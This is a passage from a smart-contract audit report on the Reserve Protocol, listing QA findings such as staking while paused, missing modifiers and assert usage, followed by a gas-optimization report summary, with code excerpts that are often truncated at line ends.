The function `stake` in StRSR.sol is used by users to stake a RSR amount on the corresponding RToken to earn yield and over-collateralize the system. If the contract is in paused or frozen status, some of the main functions `payoutRewards`, `unstake`, `withdraw` and `seizeRSR` can't be used. The `stake` function will keep operating but will skip to payoutRewards, this is problematic considering if the status is paused or frozen and a user stakes without knowing that. He won't be able to unstake or call any of the core functions, the only option he has is to wait for the status to be unpaused or unfrozen.

Consider if a contract is in paused or frozen status to turn off all of the core functions including staking as well.

contracts/p1/StRSR.sol

```
212:  function stake(uint256 rsrAmount) external {
213:        require(rsrAmount > 0, "Cannot stake zero");
214:
```

```
215:         if (!main.pausedOrFrozen()) _payoutRewards();
216:
217:         // Compute stake amount
218:         // This is not an overflow risk according to our exp
219:         //   rsrAmount <= 1e29, totalStaked <= 1e38, 1e29 *
220:         // stakeAmount: how many stRSR the user shall receiv
221:         // pick stakeAmount as big as we can such that (newT
222:         uint256 newStakeRSR = stakeRSR + rsrAmount;
223:         // newTotalStakes: {qStRSR} = D18{qStRSR/qRSR} * {qR
224:         uint256 newTotalStakes = (stakeRate * newStakeRSR) /
225:         uint256 stakeAmount = newTotalStakes - totalStakes;
226:
227:         // Update staked
228:         address account = _msgSender();
229:         stakeRSR += rsrAmount;
230:         _mint(account, stakeAmount);
231:
232:         // Transfer RSR from account to this contract
233:         emit Staked(era, account, rsrAmount, stakeAmount);
234:
235:         // == Interactions ==
236:         IERC20Upgradeable(address(rsr)).safeTransferFrom(acc
237:     }
```

[N-01] Create your own import names instead of using the regular ones

For better readability, you should name the imports instead of using the regular ones.

Example:

```
6: {IStRSRVotes} import "../interfaces/IStRSRVotes.sol";
```

Instances - All of the contracts.

[N-02] Max value can’t be applied in the setters

The function `setTradingDelay` is used by the governance to change the tradingDelay.

However in the require statement applying the maximum delay is not allowed.

Consider changing the require statement to: `require(val < MAX_TRADING_DELAY, "invalid tradingDelay")`

Other instances:

```
contracts/p1/BackingManager.sol

263: function setBackingBuffer

contracts/p1/Broker.sol

133: function setAuctionLength

contracts/p1/Furnace.sol

88: function setPeriod
96: function setRatio

contracts/p1/RToken.sol

589: function setIssuanceRate
602: function setScalingRedemptionRate

contracts/p1/StRSR.sol

812: function setUnstakingDelay
820: function setRewardPeriod
828: function setRewardRatio
```

[N-03] Using while for unbounded loops isn't recommended

Don't write loops that are unbounded as this can hit the gas limit, causing your transaction to fail.

For the reason above, while and do while loops are rarely used.

```
contracts/p1/BasketHandler.sol

523: while (_targetNames.length() > 0)
```

contracts/p1/StRSR.sol

449: while (left < right - 1) {

contracts/p1/StRSRVotes.sol

103: while (low < high) {

[N-04] Inconsistent visibility on the bool “disabled”

In some contracts the visibility of the bool `disabled` is set as private, while on others it is set as public.

Instances:

contracts/p1/BasketHandler.sol

139: bool private disabled;

contracts/p1/Broker.sol

41: bool public disabled;

[N-05] Modifier exists, but not used when needed

In the RToken contract, a lot of private calls are made to `requireNotPausedOrFrozen()` checking if it’s paused or frozen.

While there is already modifier used for this purpose in the contract.

function without the modifier:

contracts/p1/RToken.sol

```
520:  function claimRewards() external {
521:        requireNotPausedOrFrozen();
522:        RewardableLibP1.claimRewards(assetRegistry);
523:    }
```

function with the modifier used:

```
contracts/p1/RToken.sol

378: function vest(address account, uint256 endId) external notF
```

As you can see there is already modifier with this purpose, but it isn't used on all of the functions.

Consider applying it on the other instances as well.

```
contracts/p1/RToken.sol

520: function claimRewards
527: function claimRewardsSingle
534: function sweepRewards
541: function sweepRewardsSingle
556: function mint
579: function setBasketsNeeded
```

[N-06] Unused constructor

The constructor does nothing.

```
contracts/p1/Main.sol

23: constructor() initializer {}

contracts/p1/mixins/Component.sol

25: constructor() initializer {}
```

[N-07] Unnecessary check in both the _mint and _burn function

The function `_mint` and burn in StRSR.sol is called only by someone calling the stake and unstake functions.

A check is made in the functions to ensure the account to mint and burn the amounts isn't address(0).
However this isn't possible as both the stake and unstake function input the address of the msg.sender.
And address(0) can't call this functions, so this checks are unnecessary.

contracts/p1/StRSR.sol

```
694:  function _mint(address account, uint256 amount) internal v
695:        require(account != address(0), "ERC20: mint to the z
696:        assert(totalStakes + amount < type(uint224).max);
697:
698:        stakes[era][account] += amount;
699:        totalStakes += amount;
700:
701:        emit Transfer(address(0), account, amount);
702:        _afterTokenTransfer(address(0), account, amount);
703:    }

708:  function _burn(address account, uint256 amount) internal v
709:        // untestable:
710:        //       _burn is only called from unstake(), which u
711:        require(account != address(0), "ERC20: burn from the
712:
713:        mapping(address => uint256) storage eraStakes = stak
714:        uint256 accountBalance = eraStakes[account];
715:        // untestable:
716:        //       _burn is only called from unstake(), which a
717:        require(accountBalance >= amount, "ERC20: burn amour
718:        unchecked {
719:            eraStakes[account] = accountBalance - amount;
720:        }
721:        totalStakes -= amount;
722:
723:        emit Transfer(account, address(0), amount);
724;        _afterTokenTransfer(account, address(0), amount);
725:    }
```

As you can see in the below instance, everytime the address given to the _mint and _burn functions will be the msg.sender of stake and unstake:

contracts/p1/StRSR.sol

```
212:  function stake(uint256 rsrAmount) external {

228:  address account = _msgSender();
229:  stakeRSR += rsrAmount;
230:  _mint(account, stakeAmount);
```

contracts/p1/StRSR.sol

```
257:  function unstake(uint256 stakeAmount) external notPausedOr
258:        address account = _msgSender();

267:        _burn(account, stakeAmount);
```

[R-01] Numeric values having to do with time should use time units for readability

Suffixes like seconds, minutes, hours, days and weeks after literal numbers can be used to specify units of time where seconds are the base unit and units are considered naively in the following way:

```
1 == 1 seconds
1 minutes == 60 seconds
1 hours == 60 minutes
1 days == 24 hours
1 weeks == 7 days
```

contracts/p1/BackingManager.sol

```
33: uint48 public constant MAX_TRADING_DELAY = 31536000; // {s}
```

contracts/p1/Broker.sol

```
24: uint48 public constant MAX_AUCTION_LENGTH = 604800; // {s} m
```

contracts/p1/Furnace.sol

```
16: uint48 public constant MAX_PERIOD = 31536000; // {s} 1 year
```

```
contracts/p1/StRSR.sol

37: uint48 public constant MAX_UNSTAKING_DELAY = 31536000; // {s
38: uint48 public constant MAX_REWARD_PERIOD = 31536000; // {s}
```

[R-02] Use require instead of assert

The Solidity assert() function is meant to assert invariants.

Properly functioning code should never reach a failing assert statement.

Instances:

```
contracts/p1/mixins/RecollateralizationLib.sol

110: assert(doTrade);

contracts/p1/mixins/RewardableLib.sol

78: assert(erc20s[i].balanceOf(address(this)) >= liabilities[erc
102: assert(erc20.balanceOf(address(this)) >= liabilities[erc20]

contracts/p1/mixins/TradeLib.sol

44: assert(trade.buyPrice > 0 && trade.buyPrice < FIX_MAX && tra
108: assert
168: assert(errorCode == 0x11 || errorCode == 0x12);
170: assert(keccak256(reason) == UIntOutofBoundsHash);

contracts/p1/BackingManager.sol

249: assert(tradesOpen == 0 && !basketHandler.fullyCollateralize

contracts/p1/BasketHandler.sol

556: assert(targetIndex < targetsLength);

contracts/p1/StRSR.sol

696: assert(totalStakes + amount < type(uint224).max);
```

Recommended: Consider whether the condition checked in the assert() is actually an invariant.

If not, replace the assert() statement with a require() statement.

[R-03] Unnecessary overflow check can be rafactored in a better way

In the function `quantityMulPrice` an unchecked code is made, where the local variable `rawDelta` is calculated and after that an if statement is created, where is check if `rawDelta` overflows. This check won't be needed if we just move the variable above the unchecked block, so it will revert if this ever happens.

```
contracts/p1/BasketHandler.sol

356: function quantityMulPrice(uint192 qty, uint192 p) internal

365:  unchecked {
366:            // p and mul *are* Fix values, so have 18 decima
367:            uint256 rawDelta = uint256(p) * qty; // {D36} =
368:            // if we overflowed *, then return FIX_MAX
369:            if (rawDelta / p != qty) return FIX_MAX;
```

The instance above can be refactored to:

```
356: function quantityMulPrice(uint192 qty, uint192 p) internal

// rawDelta is moved above the unchecked block and reverts if ov
364:  uint256 rawDelta = uint256(p) * qty; // {D36} = {D18} * {I
365:  unchecked {
```

[R-04] If statement should check first, if the status is disabled

The if statement in the function `basketsHeldBy` check first if basket's length equals zero and then checks if the basket is invalid and disabled. Consider first checking if the staus is disabled and then if the length equals zero.

```
432:  function basketsHeldBy(address account) public view returr
433:        uint256 length = basket.erc20s.length;
434:        if (length == 0 || disabled) return FIX_ZERO;
```

Refactor the instance above to:

```
432:  function basketsHeldBy(address account) public view returr
433:        uint256 length = basket.erc20s.length;
434:        if (disabled || length == 0) return FIX_ZERO;
```

[R-05] Some number values can be refactored with _

Consider using underscores for number values to improve readability.

contracts/p1/Distributor.sol

```
165:  require(share.rsrDist <= 10000, "RSR distribution too high
166:  require(share.rTokenDist <= 10000, "RToken distribution to
```

The above instance can be refactored to:

```
165:  require(share.rsrDist <= 10_000, "RSR distribution too hig
166:  require(share.rTokenDist <= 10_000, "RToken distribution t
```

[R-06] Revert should be used on some functions instead of return

Some instances just return without doing anything, consider applying revert statement instead with a descriptive string why it does that.

contracts/p1/BackingManager.sol

```
109: if (tradesOpen > 0) return;
114: if (block.timestamp < basketTimestamp + tradingDelay) retur
```

contracts/p1/BasketHandler.sol

```
96: if (weight == FIX_ZERO) return;
```

contracts/p1/Furnace.sol

```
71: if (uint48(block.timestamp) < uint64(lastPayout) + period) r
```

contracts/p1/RToken.sol

```
660: if (left >= right) return;
739: if (queue.left == endId) return;
```

contracts/p1/StRSR.sol

```
310: if (endId == 0 || firstId >= endId) return;
327: if (rsrAmount == 0) return;
497: if (block.timestamp < payoutLastPaid + rewardPeriod) returr
```

[R-07] Modifier can be applied on the function instead of creating require statement

If functions are only allowed to be called by a certain individual, modifier should be used instead of checking with require statement, if the individual is the msg.sender calling the function.

contracts/p1/RToken.sol

```
556:  function mint(address recipient, uint256 amtRToken) exterr
557:          requireNotPausedOrFrozen();
558:          require(_msgSender() == address(backingManager), "nc
559:          _mint(recipient, amtRToken);
560:          requireValidBUExchangeRate();
561:      }
```

Modifier should be created only accessible by the individual and the instance above can be refactored in:

```
556:  function mint(address recipient, uint256 amtRToken) exterr
557:          requireNotPausedOrFrozen();
```

```
558:         _mint(recipient, amtRToken);
559:         requireValidBUExchangeRate();
560:     }
```

Other instances:

```
contracts/p1/RToken.sol

579: function setBasketsNeeded
```

[R-08] Shorthand way to write if / else statement

The normal if / else statement can be refactored in a shorthand way to write it:

1. Increases readability
2. Shortens the overall SLOC.

```
contracts/p1/BasketHandler.sol

296:  function quantity(IERC20 erc20) public view returns (uint1
297:         try assetRegistry.toColl(erc20) returns (ICollateral
298:             if (coll.status() == CollateralStatus.DISABLED)
299:
300:             uint192 refPerTok = coll.refPerTok(); // {ref/tc
301:             if (refPerTok > 0) {
302:                 // {tok/BU} = {ref/BU} / {ref/tok}
303:                 return basket.refAmts[erc20].div(refPerTok,
304:             } else {
305:                 return FIX_MAX;
306:             }
307:         } catch {
308:             return FIX_ZERO;
309:         }
310:     }
```

The above instance can be refactored to:

```
296:  function quantity(IERC20 erc20) public view returns (uint1
```

```
297:         try assetRegistry.toColl(erc20) returns (ICollateral
298:             if (coll.status() == CollateralStatus.DISABLED)
299:
300:             uint192 refPerTok = coll.refPerTok(); // {ref/tc
301:             returns refPerTok > 0 ? basket.refAmts[erc20].di
302:         } catch {
303:             return FIX_ZERO;
304:         }
305:     }
```

[R-09] Function should be deleted, if a modifier already exists doing its job

The function `requireNotPausedOrFrozen` is created only to hold the modifier notPausedOrFrozen.
And for this purpose in some functions requireNotPausedOrFrozen is called in order to check if its paused or frozen.
This function isn't necessary as the modifier notPausedOrFrozen can just be applied on the functions.

`contracts/p1/RToken.sol`

```
838: function requireNotPausedOrFrozen() private notPausedOrFroz
```

```
520: function claimRewards() external {
521:         requireNotPausedOrFrozen();
522:         RewardableLibP1.claimRewards(assetRegistry);
523:     }
```

Consider removing `requireNotPausedOrFrozen();` and apply the modifier to the function:

```
520: function claimRewards() external notPausedOrFrozen {
521:         RewardableLibP1.claimRewards(assetRegistry);
522:     }
```

[R-10] The right value should be used instead of downcasting from uint256 to uint192

In the function `requireValidBUExchangeRate` local variables are used to calculate the outcome of low and high.
After that a require statement is made to ensure the BU rate is in range. The problem is that for the local variables uint256 is used and later in the require statement the value are downcasted to uint192.

```
802:  function requireValidBUExchangeRate() private view {
803:        uint256 supply = totalSupply();
804:        if (supply == 0) return;
805:
806:        // Note: These are D18s, even though they are uint25
807:        // we cannot assume we stay inside our valid range b
808:        // we are checking in the first place
809:        uint256 low = (FIX_ONE_256 * basketsNeeded) / supply
810:        uint256 high = (FIX_ONE_256 * basketsNeeded + (suppl
811:
812:        // 1e9 = FIX_ONE / 1e9; 1e27 = FIX_ONE * 1e9
813:        require(uint192(low) >= 1e9 && uint192(high) <= 1e27
814:    }
```

Consider changing the local variables to use uint192 in the first place, instead of downcasting it:

```
809:        uint192 low = (FIX_ONE_256 * basketsNeeded) / supply
810:        uint192 high = (FIX_ONE_256 * basketsNeeded + (suppl
811:
812:        // 1e9 = FIX_ONE / 1e9; 1e27 = FIX_ONE * 1e9
813:        require(low >= 1e9 && high <= 1e27, "BU rate out of
```

[O-01] Code contains empty blocks

There are some empty blocks, which are unused. The code should do something or at least have a description why it is structured that way.

`contracts/p1/Main.sol`

```
64: function _authorizeUpgrade(address newImplementation) interr
```

Other instances:

```
contracts/p1/RToken.sol

838: function requireNotPausedOrFrozen() private notPausedOrFroz

contracts/p1/mixins/Component.sol

57: function _authorizeUpgrade(address newImplementation) interr
```

[O-02] Use a more recent pragma version

Old version of solidity is used, consider using the new one `0.8.17`.

You can see what new versions offer regarding bug fixed **here**

Instances - All of the contracts.

[O-03] Function Naming suggestions

Proper use of `_` as a function name prefix and a common pattern is to prefix internal and private function names with `_`.

This pattern is correctly applied in the Party contracts, however there are some inconsistencies in the libraries.

Instances:

```
contracts/p1/BackingManager.sol

154: function handoutExcessAssets

contracts/p1/BasketHandler.sol

68: function empty
75: function setFrom
```

```
87: function add
356: function quantityMulPrice
650: function requireValidCollArray
```

[O-04] Events is missing indexed fields

Index event fields make the field more quickly accessible to off-chain.

Each event should use three indexed fields if there are three or more fields.

Instances in:

```
contracts/interfaces/IDistributor.sol

28: event DistributionSet(address dest, uint16 rTokenDist, uint1

contracts/interfaces/IRToken.sol

83: event BasketsNeededChanged(uint192 oldBasketsNeeded, uint192
```

[O-05] Proper use of get as a function name prefix

Clear function names can increase readability. Follow a standard convertion function names such as using get for getter (view/pure) functions.

Instances:

```
contracts/p1/BasketHandler.sol

279: function status
296: function quantity
316: function price
325: function lotPrice
394: function basketTokens
407: function quote

contracts/p1/Distributor.sol

141: function totals
```

```
contracts/p1/RToken.sol

596: function scalingRedemptionRate
609: function redemptionRateFloor
621: function issueItem
628: function redemptionLimit

contracts/p1/StRSR.sol

425: function exchangeRate
```

[O-06] Commented out code

Commented code in the protocol.

Instances:
L373-L384
L457-L510
L339-L372

[O-07] Value should be unchecked

The function `_mint` is used to mint tokens to user's accounts.

The storage variable `totalStakes` is an uint256 and there is a check before that preventing it from going overflow.

totalStakes should be unchecked as there is no chance to overflow.

```
contracts/p1/StRSR.sol

694:  function _mint(address account, uint256 amount) internal v
695:         require(account != address(0), "ERC20: mint to the z
696:         assert(totalStakes + amount < type(uint224).max);
697:
698:         stakes[era][account] += amount;
699:         totalStakes += amount;
700:
701:         emit Transfer(address(0), account, amount);
702:         _afterTokenTransfer(address(0), account, amount);
```

```
703:     }
```

Consider unchecking totalStakes as how it is done in the `_burn` function as well:

```
694:   function _mint(address account, uint256 amount) internal v
695:         require(account != address(0), "ERC20: mint to the z
696:         assert(totalStakes + amount < type(uint224).max);
697:
698:         stakes[era][account] += amount;
699:         unchecked { totalStakes += amount; }
700:
701:         emit Transfer(address(0), account, amount);
702:         _afterTokenTransfer(address(0), account, amount);
703:     }
```

Gas Optimizations

For this contest, 35 reports were submitted by wardens detailing gas optimizations. The **report highlighted below** by IIIIIII received the top score from the judge.

The following wardens also submitted reports: **Awesome**, **SAAJ**, **NoamYakov**, **0xA5DF**, **c3phas**, **0xSmartContract**, **Budaghyan**, **nadin**, **Aymen0909**, **delfin454000**, **Breeje**, **Cyfrin**, **ReyAdmirado**, **RHaO-sec**, **descharre**, **pavankv**, **AkshaySrivastav**, **__141345__**, **carlitox477**, **Rageur**, **SaharDevep**, **shark**, **Bauer**, **amshirif**, **Madalad**, **saneryee**, **RaymondFam**, **Rolezn**, **chaduke**, **Sathish9098**, **Bnke0x0**, **oyc_109**, **arialblack14**, *and* **0xhacksmithh**.

Summary

	Issue	Instances	Total Gas Saved
[G-01]	Don't apply the same value to state variables	1	-
[G-02]	Multiple `address` /ID mappings can be combined into a single `mapping` of an `address` /ID to a `struct` , where appropriate	4	-

	Issue	Instances	Total Gas Saved
[G-03]	State variables only set in the constructor should be declared `immutable`	6	12582
[G-04]	State variables can be packed into fewer storage slots	1	-
[G-05]	Structs can be packed into fewer storage slots	1	-
[G-06]	Using `calldata` instead of `memory` for read-only arguments in `external` functions saves gas	8	960
[G-07]	Using `storage` instead of `memory` for structs/arrays saves gas	1	4200
[G-08]	Avoid contract existence checks by using low level calls	67	6700
[G-09]	State variables should be cached in stack variables rather than re-reading them from storage	60	5820
[G-10]	Multiple accesses of a mapping/array should use a local variable cache	1	42
[G-11]	The result of function calls should be cached rather than re-calling the function	12	-
[G-12]	`<x> += <y>` costs more gas than `<x> = <x> + <y>` for state variables	10	1130
[G-13]	`internal` functions only called once can be inlined to save gas	2	40
[G-14]	Add `unchecked {}` for subtractions where the operands cannot underflow because of a previous `require()` or `if` -statement	6	510
[G-15]	`++i` / `i++` should be `unchecked{++i}` / `unchecked{i++}` when it is not possible for them to overflow, as is the case when used in `for` - and `while` -loops	51	3060
[G-16]	`require()` / `revert()` strings longer than 32 bytes cost extra gas	2	-
[G-17]	Optimize names to save gas	49	1078
[G-18]	Use a more recent version of solidity	7	-
[G-19]	Use a more recent version of solidity	1	-

	Issue	Instances	Total Gas Saved
[G-20]	`>=` costs less gas than `>`	3	9
[G-21]	`++i` costs less gas than `i++`, especially when it's used in `for`-loops (`--i` / `i--` too)	1	5
[G-22]	Splitting `require()` statements that use `&&` saves gas	15	45
[G-23]	Usage of `uints` / `ints` smaller than 32 bytes (256 bits) incurs overhead	68	-
[G-24]	Using `private` rather than `public` for constants, saves gas	11	-
[G-25]	`require()` or `revert()` statements that check input arguments should be at the top of the function	2	-
[G-26]	Empty blocks should be removed or emit something	3	-
[G-27]	Use custom errors rather than `revert()` / `require()` strings to save gas	25	-
[G-28]	Functions guaranteed to revert when called by normal users can be marked `payable`	2	42
[G-29]	Don't use `_msgSender()` if not supporting EIP-2771	35	560
[G-30]	`public` functions not called by the contract should be declared `external` instead	2	-

Total: 457 instances over 30 issues with **36783 gas** saved

Gas totals use lower bounds of ranges and count two iterations of each `for`-loop. All values above are runtime, not deployment, values; deployment values are listed in the individual issue descriptions. The table above as well as its gas numbers do not include any of the excluded findings.

[G-01] Don't apply the same value to state variables

If `_whenDefault` is already `NEVER`, it'll save 2100 gas to not set it to that value again

There is 1 instance of this issue:

```
File: /contracts/plugins/assets/FiatCollateral.sol

189:             if (sum >= NEVER) _whenDefault = NEVER;
```

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/plugins/assets/FiatCollateral.sol#L189

[G-02] Multiple `address`/ID mappings can be combined into a single `mapping` of an `address`/ID to a `struct`, where appropriate

Saves a storage slot for the mapping. Depending on the circumstances and sizes of types, can avoid a Gsset (**20000 gas**) per mapping combined. Reads and subsequent writes can also be cheaper when a function requires both values and they both fit in the same storage slot. Finally, if both fields are accessed in the same function, can save **~42 gas per access** due to not having to recalculate the key's keccak256 hash (Gkeccak256 - 30 gas) and that calculation's associated stack operations.

There are 4 instances of this issue. (For in-depth details on this and all further gas optimizations with multiple instances, please see the warden's full report.)

[G-03] State variables only set in the constructor should be declared `immutable`

Avoids a Gsset (**20000 gas**) in the constructor, and replaces the first access in each transaction (Gcoldsload - **2100 gas**) and each access thereafter (Gwarmacces - **100 gas**) with a `PUSH32` (**3 gas**).

While `string`s are not value types, and therefore cannot be `immutable`/`constant` if not hard-coded outside of the constructor, the same behavior can be achieved by making the current contract `abstract` with `virtual`

functions for the `string` accessors, and having a child contract override the functions with the hard-coded implementation-specific values.

There are 6 instances of this issue.

[G-04] State variables can be packed into fewer storage slots

If variables occupying the same slot are both written the same function or by the constructor, avoids a separate Gsset (**20000 gas**). Reads of the variables can also be cheaper.

There is 1 instance of this issue:

```
File: contracts/p1/StRSR.sol

/// @audit Variable ordering with 21 slots instead of the currer
///           string(32):name, string(32):symbol, uint256(32):er
42:       string public name; // mutable
```

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/StRSR.sol#L42

[G-05] Structs can be packed into fewer storage slots

Each slot saved can avoid an extra Gsset (**20000 gas**) for the first setting of the struct. Subsequent reads as well as writes have smaller gas savings.

There is 1 instance of this issue:

```
File: contracts/interfaces/IGnosis.sol

/// @audit Variable ordering with 11 slots instead of the currer
///           uint256(32):orderCancellationEndDate, uint256(32):
6     struct GnosisAuctionData {
7         IERC20 auctioningToken;
8         IERC20 biddingToken;
9         uint256 orderCancellationEndDate;
10        uint256 auctionEndDate;
```

```
11          bytes32 initialAuctionOrder;
12          uint256 minimumBiddingAmountPerOrder;
13          uint256 interimSumBidAmount;
14          bytes32 interimOrder;
15          bytes32 clearingPriceOrder;
16          uint96 volumeClearingPriceOrder;
17          bool minFundingThresholdNotReached;
18          bool isAtomicClosureAllowed;
19          uint256 feeNumerator;
20          uint256 minFundingThreshold;
21:     }
```

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/interfaces/IGnosis.sol#L6-L21

[G-06] Using `calldata` instead of `memory` for read-only arguments in `external` functions saves gas

When a function with a `memory` array is called externally, the `abi.decode()` step has to use a for-loop to copy each index of the `calldata` to the `memory` index. **Each iteration of this for-loop costs at least 60 gas** (i.e. `60 * <mem_array>.length`). Using `calldata` directly, obliviates the need for such a loop in the contract code and runtime execution. Note that even if an interface defines a function as having `memory` arguments, it's still valid for implementation contracs to use `calldata` arguments instead.

If the array is passed to an `internal` function which passes the array to another internal function where the array is modified and therefore `memory` is used in the `external` call, it's still more gass-efficient to use `calldata` when the `external` function uses modifiers, since the modifiers may prevent the internal functions from being called. Structs have the same overhead as an array of length one.

Note that I've also flagged instances where the function is `public` but can be marked as `external` since it's not called by the contract, and cases where a constructor is involved.

There are 8 instances of this issue.

[G-07] Using `storage` instead of `memory` for structs/arrays saves gas

When fetching data from a storage location, assigning the data to a `memory` variable causes all fields of the struct/array to be read from storage, which incurs a Gcoldsload (**2100 gas**) for *each* field of the struct/array. If the fields are read from the new memory variable, they incur an additional `MLOAD` rather than a cheap stack read. Instead of declearing the variable with the `memory` keyword, declaring the variable with the `storage` keyword and caching any fields that need to be re-read in stack variables, will be much cheaper, only incuring the Gcoldsload for the fields actually read. The only time it makes sense to read the whole struct/array into a `memory` variable, is if the full struct/array is being returned by the function, is being passed to a function that requires `memory`, or if the array/struct is being read from another `memory` array/struct.

There is 1 instance of this issue:

```
File: contracts/p1/Distributor.sol

134:                 Transfer memory t = transfers[i];
```

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/Distributor.sol#L134

[G-08] Avoid contract existence checks by using low level calls

Prior to 0.8.10 the compiler inserted extra code, including `EXTCODESIZE` (**100 gas**), to check for contract existence for external function calls. In more recent solidity versions, the compiler will not insert these checks if the external call has a return value. Similar behavior can be achieved in earlier versions by using low-level calls, since low level calls never check for contract existence.

There are 67 instances of this issue.

[G-09] State variables should be cached in stack variables rather than re-reading them from storage

The instances below point to the second+ access of a state variable within a function. Caching of a state variable replaces each Gwarmaccess (**100 gas**) with a much cheaper stack read. Other less obvious fixes/optimizations include having local memory caches of state variable structs, or having local caches of state variable contracts/addresses.

There are 60 instances of this issue.

[G-10] Multiple accesses of a mapping/array should use a local variable cache

The instances below point to the second+ access of a value inside a mapping/array, within a function. Caching a mapping's value in a local `storage` or `calldata` variable when the value is accessed **multiple times**, saves **~42 gas per access** due to not having to recalculate the key's keccak256 hash (Gkeccak256 - **30 gas**) and that calculation's associated stack operations. Caching an array's struct avoids recalculating the array offsets into memory/calldata.

There is 1 instance of this issue:

```
File: contracts/p1/RToken.sol

/// @audit issueQueues[account] on line 635
635:           return (issueQueues[account].left, issueQueues[acc
```

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L635

[G-11] The result of function calls should be cached rather than re-calling the function

The instances below point to the second+ call of the function within a single function.

There are 12 instances of this issue.

[G-12] `<x> += <y>` costs more gas than `<x> = <x> + <y>` for state variables

Using the addition operator instead of plus-equals saves [113 gas].

There are 10 instances of this issue.

[G-13] `internal` functions only called once can be inlined to save gas

Not inlining costs **20 to 40 gas** because of two extra `JUMP` instructions and additional stack operations needed for function calls.

There are 2 instances of this issue.

[G-14] Add `unchecked {}` for subtractions where the operands cannot underflow because of a previous `require()` or `if` -statement

`require(a <= b); x = b - a` **=>** `require(a <= b); unchecked { x = b - a }`

There are 6 instances of this issue.

[G-15] `++i` / `i++` should be `unchecked{++i}` / `unchecked{i++}` when it is not possible for them to overflow, as is the case when used in `for` - and `while` -loops

The `unchecked` keyword is new in solidity version 0.8.0, so this only applies to that version or higher, which these instances are. This saves **30-40 gas** [per loop].

There are 51 instances of this issue.

[G-16] `require()` / `revert()` strings longer than 32 bytes cost extra gas

Each extra memory word of bytes past the original 32 [incurs an MSTORE](#) which costs **3 gas**.

There are 2 instances of this issue.

[G-17] Optimize names to save gas

`public` / `external` function names and `public` member variable names can be optimized to save gas. See [this](#) link for an example of how it works. Below are the interfaces/abstract contracts that can be optimized so that the most frequently-called functions use the least amount of gas possible during method lookup. Method IDs that have two leading zero bytes can save **128 gas** each during deployment, and renaming functions to have lower method IDs will save **22 gas** per call, [per sorted position shifted](#).

There are 49 instances of this issue.

[G-18] Use a more recent version of solidity

- Use a solidity version of at least 0.8.0 to get overflow protection without `SafeMath`
- Use a solidity version of at least 0.8.2 to get simple compiler automatic inlining
- Use a solidity version of at least 0.8.3 to get better struct packing and cheaper multiple storage reads
- Use a solidity version of at least 0.8.4 to get custom errors, which are cheaper at deployment than `revert()/require()` strings
- Use a solidity version of at least 0.8.10 to have external calls skip contract existence checks if the external call has a return value

There are 7 instances of this issue.

[G-19] Use a more recent version of solidity

- Use a solidity version of at least 0.8.2 to get simple compiler automatic inlining

- Use a solidity version of at least 0.8.3 to get better struct packing and cheaper multiple storage reads
- Use a solidity version of at least 0.8.4 to get custom errors, which are cheaper at deployment than `revert()/require()` strings
- Use a solidity version of at least 0.8.10 to have external calls skip contract existence checks if the external call has a return value

There is 1 instance of this issue:

```
File: contracts/plugins/aave/ReentrancyGuard.sol

3:    pragma solidity >=0.6.0 <0.8.0;
```

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/plugins/aave/ReentrancyGuard.sol#L3

[G-20] `>=` costs less gas than `>`

The compiler uses opcodes `GT` and `ISZERO` for solidity code that uses `>`, but only requires `LT` for `>=`, which saves 3 gas.

There are 3 instances of this issue.

[G-21] `++i` costs less gas than `i++`, especially when it's used in `for`-loops (`--i` / `i--` too)

Saves **5 gas per loop.**

There is 1 instance of this issue:

```
File: contracts/p1/mixins/Trading.sol

72:           tradesOpen--;
```

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/mixins/Trading.sol#L72

[G-22] Splitting `require()` statements that use `&&` saves gas

See this issue which describes the fact that there is a larger deployment gas cost, but with enough runtime calls, the change ends up being cheaper by **3 gas**.

There are 15 instances of this issue.

[G-23] Usage of `uints` / `ints` smaller than 32 bytes (256 bits) incurs overhead

> When using elements that are smaller than 32 bytes, your contractâ€™s gas usage may be higher. This is because the EVM operates on 32 bytes at a time. Therefore, if the element is smaller than that, the EVM must use more operations in order to reduce the size of the element from 32 bytes to the desired size.

https://docs.soliditylang.org/en/v0.8.11/internals/layout_in_storage.html Each operation involving a `uint8` costs an extra 22-28 gas (depending on whether the other operand is also a variable of type `uint8`) as compared to ones involving `uint256`, due to the compiler having to clear the higher bits of the memory word before operating on the `uint8`, as well as the associated stack operations of doing so. Use a larger size then downcast where needed.

There are 68 instances of this issue.

[G-24] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for

deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table.

There are 11 instances of this issue.

[G-25] `require()` or `revert()` statements that check input arguments should be at the top of the function

Checks that involve constants should come before checks that involve state variables, function calls, and calculations. By doing these checks first, the function is able to revert before wasting a Gcoldsload (**2100 gas***) in a function that may ultimately revert in the unhappy case.

There are 2 instances of this issue.

[G-26] Empty blocks should be removed or emit something

The code should be refactored such that they no longer exist, or the block should do something useful, such as emitting an event or reverting. If the contract is meant to be extended, the contract should be `abstract` and the function signatures be added without any default implementation. If the block is an empty `if` -statement block to avoid doing subsequent checks in the else-if/else conditions, the else-if/else conditions should be nested under the negation of the if-statement, because they involve different classes of checks, which may lead to the introduction of errors when the code is later modified (`if(x){}else if(y){...}else{...}` => `if(!x){if(y){...}else{...}}`). Empty `receive()` / `fallback() payable` functions that are not used, can be removed to save deployment gas.

There are 3 instances of this issue.

[G-27] Use custom errors rather than `revert()` / `require()` strings to save gas

Custom errors are available from solidity version 0.8.4. Custom errors save ~50 gas each time they're hit by avoiding having to allocate and store the revert string. Not defining the strings also save deployment gas.

There are 25 instances of this issue.

[G-28] Functions guaranteed to revert when called by normal users can be marked `payable`

